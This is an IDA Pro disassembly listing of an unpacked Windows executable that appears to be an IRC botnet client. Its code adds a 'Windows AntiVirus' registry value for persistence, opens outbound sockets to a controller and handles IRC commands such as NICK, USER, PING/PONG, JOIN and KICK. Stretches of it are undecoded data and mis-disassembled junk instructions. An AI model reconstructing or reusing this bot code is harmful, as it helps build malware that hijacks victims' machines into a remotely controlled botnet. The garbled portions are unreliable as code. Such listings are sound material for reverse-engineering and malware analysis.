;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F73582C3A26F6D4907AB725CF483F589

; File Name   :	u:\work\f73582c3a26f6d4907ab725cf483f589_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00027000 ( 159744.)
; Section size in file		: 00027000 ( 159744.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; CODE XREF: seg000:00401075p
					; sub_41853D+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aWindowsAntivir ; "Windows AntiVirus oo"


loc_401010:				; CODE XREF: start+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	ds:off_42A058[esi]
		push	ds:dword_42A054[esi]
		call	ds:dword_4CDBAC	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_401051
		push	[ebp+arg_0]
		call	sub_41B1D0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_4CDC1C	; RegSetValueExA
		jmp	short loc_40105B
; ---------------------------------------------------------------------------


loc_401051:				; CODE XREF: start+33j
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_4CDB5C	; RegDeleteValueA


loc_40105B:				; CODE XREF: start+4Fj
		push	[ebp+var_4]
		call	ds:dword_4CDBD4	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_401010
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
start		endp

; ---------------------------------------------------------------------------


loc_401071:				; CODE XREF: seg000:00401087j
		push	dword ptr [esp+4]
		call	start
		pop	ecx
		push	ds:dword_42A050
		call	ds:dword_428064	; Sleep
		jmp	short loc_401071

; =============== S U B	R O U T	I N E =======================================



sub_401089	proc near		; CODE XREF: seg000:00401116p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_4010BB
		mov	ecx, 0FFh
		push	ebx


loc_4010A0:				; CODE XREF: sub_401089+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_428240[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_4010A0
		pop	ebx


loc_4010BB:				; CODE XREF: sub_401089+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_401089	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B6C5
		mov	dword ptr [esp], offset	dword_42A06C
		push	dword ptr [esp+14h]
		mov	esi, eax
		call	sub_41B6B2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_40110D


loc_4010E7:				; CODE XREF: seg000:004010F9j
		xor	eax, eax
		jmp	short loc_40112E
; ---------------------------------------------------------------------------


loc_4010EB:				; CODE XREF: seg000:00401111j
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B3F2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010E7
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B30A
		add	esp, 10h


loc_40110D:				; CODE XREF: seg000:004010E5j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_4010EB
		dec	ebx
		push	ebx
		push	esi
		call	sub_401089
		push	esi
		mov	ebx, eax
		call	sub_41B2A1
		push	edi
		call	sub_41B24B
		add	esp, 10h
		mov	eax, ebx


loc_40112E:				; CODE XREF: seg000:004010E9j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401132	proc near		; DATA XREF: seg000:0040124Ao

var_72AF0FBB	= dword	ptr -72AF0FBBh
var_1577C	= dword	ptr -1577Ch
var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_440B44
		call	ds:dword_4CDC90	; closesocket
		call	sub_40B134
		call	ds:dword_4CDB50	; WSACleanup
		call	ds:dword_4CDB50	; WSACleanup
		mov	ebx, ds:dword_428064
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B780
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B780
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43FDB4
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 0B10000h
		sub	[ebp+var_1577C+1], ecx
		call	dword ptr [esi+50h]
		push	edi
		call	near ptr 0B10000h
		cmp	ecx, [ebp+var_72AF0FBB]
		inc	ebp
		lodsb
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 0B10000h
		push	esp
		test	eax, eax
		jz	short loc_4011F7
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, ds:dword_42806C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011F7:				; CODE XREF: sub_401132+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43FDB0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_428068	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_40121A:				; DATA XREF: seg002:0042A004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418872
		pop	ecx
		mov	ds:dword_4CD938, eax
		pop	ecx
		retn
sub_401132	endp

; ---------------------------------------------------------------------------


loc_401236:				; CODE XREF: seg000:0041DC1Cp
		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-10h], ebx
		mov	dword ptr [ebp-0Ch], offset sub_401132
		push	dword ptr [ebp-0Ch]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_4280A8
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_4CD93C, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41BAC8
		pop	ecx
		call	sub_409A01
		push	2
		call	ds:dword_4CDCA4	; SetErrorMode
		push	7530h		; CODE XREF: seg000:00401302j
		push	offset aFenr	; "FEnR"
		push	ebx
		push	ebx
		call	near ptr 0EB0004h
		or	dl, [eax-18h]
		pop	esi
		in	eax, dx
		lodsb
		add	[edx], ch
		cmp	eax, 102h
		jnz	short loc_4012B6
		push	1
		call	ds:dword_428068	; ExitProcess


loc_4012B6:				; CODE XREF: seg000:004012ACj
		lea	eax, [ebp-888h]
		push	eax
		push	202h
		call	ds:dword_4CDB68	; WSAStartup
		cmp	eax, ebx
		mov	[ebp-0Ch], eax
		jnz	loc_40186C
		cmp	byte ptr [ebp-888h], 2
		jnz	loc_401866
		xor	eax, eax
		mov	al, [ebp-887h]
		cmp	al, 2
		jnz	loc_401866
		mov	esi, 104h
		lea	eax, [ebp-3F4h]
		push	esi
		push	eax
		call	near ptr 0EF0004h
		ja	short near ptr loc_40128E+3
		test	[eax], edx
		std
; ---------------------------------------------------------------------------
		db 0FFh
		dd 535056FFh, 0B0ECF3E8h, 0E8508500h, 0B2ECECh,	8858D9Bh
		dd 50FFFFF9h, 0FA08858Dh, 5350FFFFh, 0FD10858Dh, 5053FFFFh
		dd 1A88CE8h, 8858D00h, 50FFFFF9h, 0FA08858Dh, 6850FFFFh
		dd 42AAECh, 0FB08858Dh,	5056FFFFh, 1A81BE8h, 0C858D00h
		dd 50FFFFFCh, 0FD10858Dh, 0E850FFFFh, 1A788h, 8530C483h
		dd 0A9850FC0h, 39000001h, 42A0901Dh, 0A0ECBE00h, 31740042h
		dd 0E8FF3356h, 19E48h, 5904E883h, 3FE82374h, 6A0001A7h
		dd 0F759991Ah, 0C28056F9h, 0EC978861h, 470042A0h, 19E27E8h
		dd 4E88300h, 72F83B59h,	0C858DDDh, 56FFFFFCh, 14858D50h
		dd 68FFFFFEh, 42AAE4h, 0A6ACE850h, 0C4830001h, 14858D10h
		dd 50FFFFFEh, 809815FFh, 0F8830042h, 8D1274FFh,	0FFFE1485h
		dd 8068FFh, 0E8500000h,	70EC10h, 90358B6Ch, 33004280h
		dd 0FF22EBFFh, 42808C15h, 75FB3B00h, 20F8832Dh,	0F8830574h
		dd 33237505h, 3A9868FFh, 0FF470000h, 42806415h,	14858D00h
		dd 53FFFFFEh, 10858D50h, 50FFFFFDh, 0C085D6FFh,	858DC974h
		dd 0FFFFFE14h, 7039E850h, 8D590001h, 0FFFE1485h, 50076AFFh
		dd 0B8EBB7E8h, 106ACE00h, 53DC458Dh, 0A326E850h, 446A0001h
		dd 0FF18858Dh, 565EFFFFh, 15E85053h, 890001A3h,	0FFFF18B5h
		dd 46F633FFh, 0C718C483h, 0FFFF2485h, 43FDB4FFh, 44B58900h
		dd 66FFFFFFh, 0FF489D89h, 71E8FFFFh, 0B00BAEBh,	685650h
		dd 0E8001000h, 0BCEB64h, 108D8D1Fh, 51FFFFFDh, 14858D50h
		dd 50FFFFFEh, 0F674858Dh, 0D868FFFFh, 500042AAh, 1A5B5E8h
		dd 14C48300h, 50DC458Dh, 0FF18858Dh, 8D50FFFFh,	0FFFC0C85h
		dd 6A5350FFh, 8D535628h, 0FFF67485h, 8D5053FFh,	0FFFE1485h
		dd 15E850FFh, 6900BEEBh, 2874C085h, 0C868h, 6415FF00h
		dd 0FF004280h, 358BDC75h, 42806Ch, 75FFD6FFh, 0FFD6FFE0h
		dd 4CDB5015h, 15FF5300h, 428068h, 0DED03D83h, 7E02004Dh
		dd 0DED4A143h, 70FF004Dh, 0A437E804h, 8B590001h, 56FF6AF0h
		dd 70EAC3E8h, 0FF56BA00h, 42806C15h, 0DED4A100h, 5839004Dh
		dd 68197408h, 7D0h, 806415FFh, 0D4A10042h, 0FF004DDEh
		dd 99E80870h, 0E30070EAh, 0A0941D39h, 15740042h, 0DCC41D39h
		dd 0D75004Ch, 0FB08858Dh, 0E850FFFFh, 0FFFFFA7Ch, 5C858D59h
		dd 68FFFFFFh, 42AABCh, 0A4E0E850h, 8D530001h, 0FFFF5C85h
		dd 0E85053FFh, 99CDh, 0FF5C858Dh, 0E850FFFFh, 13CFEh, 0B8068h
		dd 0B8685300h, 0E80043FDh, 1A1C0h, 0FF5C858Dh, 9868FFFFh
		dd 500042AAh, 1A4A5E8h,	858D5300h, 0FFFFFF5Ch, 0E850016Ah
		dd 9991h, 8B38C483h, 7C358BF8h,	8D004280h, 5350F845h, 9BCB6853h
		dd 53530041h, 0FF69D6FFh, 234h,	8789C33Bh, 440B4Ch, 15FF1B75h
		dd 42808Ch, 5C858D50h, 68FFFFFFh, 42AA58h, 0A454E850h
		dd 0C4830001h, 5C858D0Ch, 50FFFFFFh, 13C7DE8h, 5C858D00h
		dd 0C7FFFFFFh, 0AA2C2404h, 0E8500042h, 1A432h, 5C858D53h
		dd 6AFFFFFFh, 1EE85001h, 83000099h, 0F88B14C4h,	50F8458Dh
		dd 86685353h, 530041A6h, 69D6FF53h, 234FFh, 89C33B00h
		dd 440B4C87h, 0FF1B7500h, 42808C15h, 858D5000h,	0FFFFFF5Ch
		dd 42A9F068h, 0E7E85000h, 830001A3h, 858D0CC4h,	0FFFFFF5Ch
		dd 3C10E850h, 858D0001h, 0FFFFFF5Ch, 0C82404C7h, 500042A9h
		dd 1A3C5E8h, 858D5300h,	0FFFFFF5Ch, 0E850016Ah,	98B1h
		dd 8B14C483h, 0F8458DF8h, 8858D50h, 53FFFFFBh, 10716850h
		dd 53530040h, 0FF69D6FFh, 234h,	8789C33Bh, 440B4Ch, 15FF1B75h
		dd 42808Ch, 5C858D50h, 68FFFFFFh, 42A98Ch, 0A374E850h
		dd 0C4830001h, 5C858D0Ch, 50FFFFFFh, 13B9DE8h, 0A3BCE800h
		dd 7F6A0001h, 6803E083h, 42A0C8h, 4CD94468h, 0DAACA300h
		dd 0B1E8004Ch, 0A10001A0h, 42A070h, 0C4BF3F6Ah,	68004CD9h
		dd 42A0E0h, 0DA94A357h,	95E8004Ch, 6A0001A0h, 0DA04BE3Fh
		dd 0E468004Ch, 560042A0h, 1A083E8h, 28C48300h, 0DA981D89h
		dd 5D89004Ch, 0DC1D39FCh, 75004CDCh, 0EC458D16h, 15FF5053h
		dd 4CDB34h, 775C085h, 753068h, 682CEB00h, 4CD940h, 0DAA81D89h
		dd 0DEE8004Ch, 83000000h, 458902F8h, 0BE840FF4h, 39000000h
		dd 4CDAA81Dh, 0FF037400h, 0B868FC4Dh, 0FF00000Bh, 42806415h
		dd 0FC45FF00h, 6FC7D83h, 7D83A77Ch, 840F02F4h, 95h, 74F05D39h
		dd 687F6A40h, 42A0C8h, 4CD94468h, 9FFEE800h, 70A10001h
		dd 6A0042A0h, 0A0E0683Fh, 0A3570042h, 4CDA94h, 19FE7E8h
		dd 683F6A00h, 42A0E4h, 9FDAE856h, 0C4830001h, 0F05D8924h
		dd 0FFFF55E9h, 0A41D38FFh, 0F004CDAh, 0FFFF4984h, 687F6AFFh
		dd 4CDAA4h, 4CD94468h, 9FB2E800h, 74A10001h, 6A0042A0h
		dd 0DAA5683Fh, 0A357004Ch, 4CDA94h, 19F9BE8h, 683F6A00h
		dd 4CDAA6h, 9F8EE856h, 0C4830001h, 0F045C724h, 1, 0FFFF05E9h
		dd 98CEE8FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_401866:				; CODE XREF: seg000:004012DAj
					; seg000:004012EAj
		call	ds:dword_4CDB50	; WSACleanup


loc_40186C:				; CODE XREF: seg000:004012CDj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401875	proc near		; DATA XREF: seg000:004080A5o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40189A:				; CODE XREF: sub_401875+E6j
					; sub_401875+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_4CDBF8	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A9E8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_4019D7
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B780
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_42A0A4
		push	ds:dword_42A0A0
		push	eax
		call	sub_40AF07
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_440B50
		push	edi
		push	eax
		call	sub_41B7E0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_4CDC78	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_440B44[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_4CDBA0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401960
		push	esi
		call	ds:dword_4CDC90	; closesocket
		call	sub_40AA11
		push	7D0h


loc_401955:				; CODE XREF: sub_401875+146j
		call	ds:dword_428064	; Sleep
		jmp	loc_40189A
; ---------------------------------------------------------------------------


loc_401960:				; CODE XREF: sub_401875+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_42AAF4
		call	sub_415322
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4019DB
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_4CDC90	; closesocket
		test	edi, edi
		jz	loc_40189A
		cmp	edi, 1
		jnz	short loc_4019BD
		push	0DBBA0h
		jmp	short loc_401955
; ---------------------------------------------------------------------------


loc_4019BD:				; CODE XREF: sub_401875+13Fj
		cmp	edi, 2
		jnz	loc_40189A
		push	[ebp+var_34]
		call	sub_40B287
		pop	ecx
		push	edi
		pop	eax


loc_4019D1:				; CODE XREF: sub_401875+164j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4019D7:				; CODE XREF: sub_401875+5Aj
		xor	eax, eax
		jmp	short loc_4019D1
sub_401875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019DB	proc near		; CODE XREF: sub_401875+123p

var_1990	= byte ptr -1990h
var_990		= byte ptr -990h
var_1C0		= byte ptr -1C0h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1990h
		call	sub_41BD10
		push	ebx
		xor	ebx, ebx
		cmp	ds:byte_42A0D4,	bl
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_120], bl
		jz	short loc_401A13
		push	offset byte_42A0D4
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409920
		add	esp, 0Ch


loc_401A13:				; CODE XREF: sub_4019DB+21j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AF07
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41BA76
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CDC48	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A7D
		push	[ebp+arg_0]
		call	ds:dword_4CDC90	; closesocket
		push	1388h
		call	ds:dword_428064	; Sleep


loc_401A76:				; CODE XREF: sub_4019DB+CCj
					; sub_4019DB+146j
		xor	eax, eax


loc_401A78:				; CODE XREF: sub_4019DB+162j
					; sub_4019DB+16Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A7D:				; CODE XREF: sub_4019DB+85j
					; sub_4019DB+EBj ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1990]
		push	esi
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp+var_1990]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CDC10	; recv
		test	eax, eax
		jle	short loc_401A76
		lea	eax, [ebp+var_990]
		push	eax
		lea	eax, [ebp+var_1990]
		push	eax
		call	sub_41816E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A7D
		lea	edi, [ebp+var_990]


loc_401ACE:				; CODE XREF: sub_4019DB+158j
		xor	esi, esi
		inc	esi


loc_401AD1:				; CODE XREF: sub_4019DB+137j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_401B4A
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401B14
		push	7D0h
		call	ds:dword_428064	; Sleep
		jmp	short loc_401AD1
; ---------------------------------------------------------------------------


loc_401B14:				; CODE XREF: sub_4019DB+12Aj
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401B42
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401B3A
		cmp	esi, 0FFFFFFFFh
		jz	loc_401A76
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401ACE
		jmp	loc_401A7D
; ---------------------------------------------------------------------------


loc_401B3A:				; CODE XREF: sub_4019DB+141j
		xor	eax, eax
		inc	eax
		jmp	loc_401A78
; ---------------------------------------------------------------------------


loc_401B42:				; CODE XREF: sub_4019DB+13Cj
		push	2
		pop	eax
		jmp	loc_401A78
sub_4019DB	endp

; ---------------------------------------------------------------------------


loc_401B4A:				; CODE XREF: sub_4019DB+11Dp
		push	ebp
		mov	ebp, esp
		mov	eax, 5D84h
		call	sub_41BD10
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2C0h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0A4h], 3
		mov	[ebp-10h], ebx
		mov	[ebp-0A8h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-2C4h], ebx
		call	sub_41B780
		push	1Bh
		lea	eax, [ebp-334h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41B7E0
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_401F82
		push	esi
		lea	eax, [ebp-4484h]
		push	ebx
		push	eax
		call	sub_41B780
		dec	esi
		lea	eax, [ebp-4484h]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41B7E0
		lea	eax, [ebp-4484h]
		push	offset asc_42E0CC ; " :"
		push	eax
		call	sub_41BAF0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-4484h]
		push	esi
		push	eax
		lea	eax, [ebp-4AECh]
		push	eax
		call	sub_41B7E0
		mov	esi, offset asc_42E0C8 ; " "
		lea	eax, [ebp-4AECh]
		push	esi
		push	eax
		call	sub_41C2E4
		xor	edi, edi
		add	esp, 34h
		mov	[ebp-90h], eax
		inc	edi


loc_401C10:				; CODE XREF: seg000:00401C24j
		push	esi
		push	ebx
		call	sub_41C2E4
		mov	[ebp+edi*4-90h], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_401C10
		mov	esi, [ebp-90h]
		cmp	esi, ebx
		jz	loc_401F82
		cmp	[ebp-8Ch], ebx
		jz	loc_401F82
		push	100h
		lea	eax, [ebp-95Ch]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_401C58:				; CODE XREF: seg000:00401C8Cj
		lea	ecx, [ebp+edx*4-90h]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C8B
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C8E
		cmp	[eax+2], bl
		jnz	short loc_401C8E
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-95Ch], 1
		mov	esi, [ebp-90h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C8B:				; CODE XREF: seg000:00401C63j
		dec	edx
		jns	short loc_401C58


loc_401C8E:				; CODE XREF: seg000:00401C68j
					; seg000:00401C6Dj
		xor	edi, edi
		inc	edi
		cmp	[ebp-8E9h], bl
		jz	short loc_401C9C
		mov	[ebp-8], edi


loc_401C9C:				; CODE XREF: seg000:00401C97j
		cmp	[ebp-8EEh], bl
		jz	short loc_401CAA
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_401CAA:				; CODE XREF: seg000:00401CA2j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401CE4
		push	7Fh
		lea	eax, [ebp-0E2Ch]
		push	esi
		push	eax
		call	sub_41B7E0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	sub_41B7E0
		lea	eax, [ebp-0C0h]
		push	offset asc_42E0C4 ; "!"
		push	eax
		call	sub_41C2E4
		add	esp, 20h


loc_401CE4:				; CODE XREF: seg000:00401CADj
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D35
		push	dword ptr [ebp-8Ch]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401DD9
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		add	esp, 10h
		jmp	loc_401DD9
; ---------------------------------------------------------------------------


loc_401D35:				; CODE XREF: seg000:00401CF3j
		mov	esi, [ebp-8Ch]
		push	esi
		push	offset a001	; "001"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098DA
		push	esi
		push	offset a005	; "005"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098DA
		push	esi
		push	offset a302	; "302"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		push	offset a@	; "@"
		push	dword ptr [ebp-84h]
		call	sub_41BAF0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401DD9
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_41B7E0
		add	esp, 0Ch
		jmp	short loc_401DD9
; ---------------------------------------------------------------------------


loc_401DA0:				; CODE XREF: seg000:00401D74j
		push	esi
		push	offset a433	; "433"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DE0
		push	ebx
		push	ds:dword_42A0A4
		push	ds:dword_42A0A0
		push	dword ptr [ebp+18h]
		call	sub_40AF07
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		add	esp, 1Ch


loc_401DD9:				; CODE XREF: seg000:00401D14j
					; seg000:00401D30j ...
		mov	eax, edi
		jmp	loc_401F85
; ---------------------------------------------------------------------------


loc_401DE0:				; CODE XREF: seg000:00401DAFj
		mov	edi, [ebp+20h]
		lea	eax, [ebp-0E2Ch]
		push	eax
		push	edi
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E00
		mov	dword ptr [ebp-0A8h], 1


loc_401E00:				; CODE XREF: seg000:00401DF4j
		mov	esi, [ebp-8Ch]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401ECA
		cmp	[edi], bl
		jz	short loc_401E95
		push	7Fh
		lea	eax, [ebp-0E2Ch]
		push	edi
		push	eax
